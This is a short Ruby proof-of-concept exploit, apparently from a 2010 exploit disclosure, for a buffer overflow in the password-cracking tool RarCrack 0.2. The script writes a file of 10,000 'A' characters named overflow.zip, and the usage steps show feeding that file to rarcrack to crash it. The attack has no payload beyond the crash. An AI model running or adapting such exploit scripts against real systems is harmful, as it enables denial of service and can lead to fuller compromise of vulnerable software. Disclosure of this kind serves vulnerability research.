#!/usr/bin/env ruby
# overflow.rb
#
# __________ ____ __ ______ _________
# / ____/ __ \/ __ \/ / / / __ \/ ____< /
# / / __/ /_/ / / / / / / / /_/ /___ \ / /
# / /_/ / _, _/ /_/ / /_/ / ____/___/ // /
# \____/_/ |_|\____/\____/_/ /_____//_/
#
#
# Title: RarCrack 0.2 Buffer Overflow POC
# Date: 19.09.2010
# Author: The_UnKn@wn
# Email: the_unknown [at] group51.org
# Twitter: @The_UnKn0wn
# Homepage: http://group51.org
# Software Link: http://sourceforge.net/projects/rarcrack/files/rarcrack-0.2/%5BUnnamed%20release%5D/rarcrack-0.2.tar.bz2/download
# Version: 0.2
# Tested on: openSUSE 11.3
# CVE: none
#
# Impact: RarCrack doesn't check the length of the archive and while cracking it crashes.
#
# Usage:
# $ ruby overflow.rb
# $ ./rarcrack overflow.zip
#
text = "A"*10000
File.open("overflow.zip","w") do |l|
l.puts(text)
end
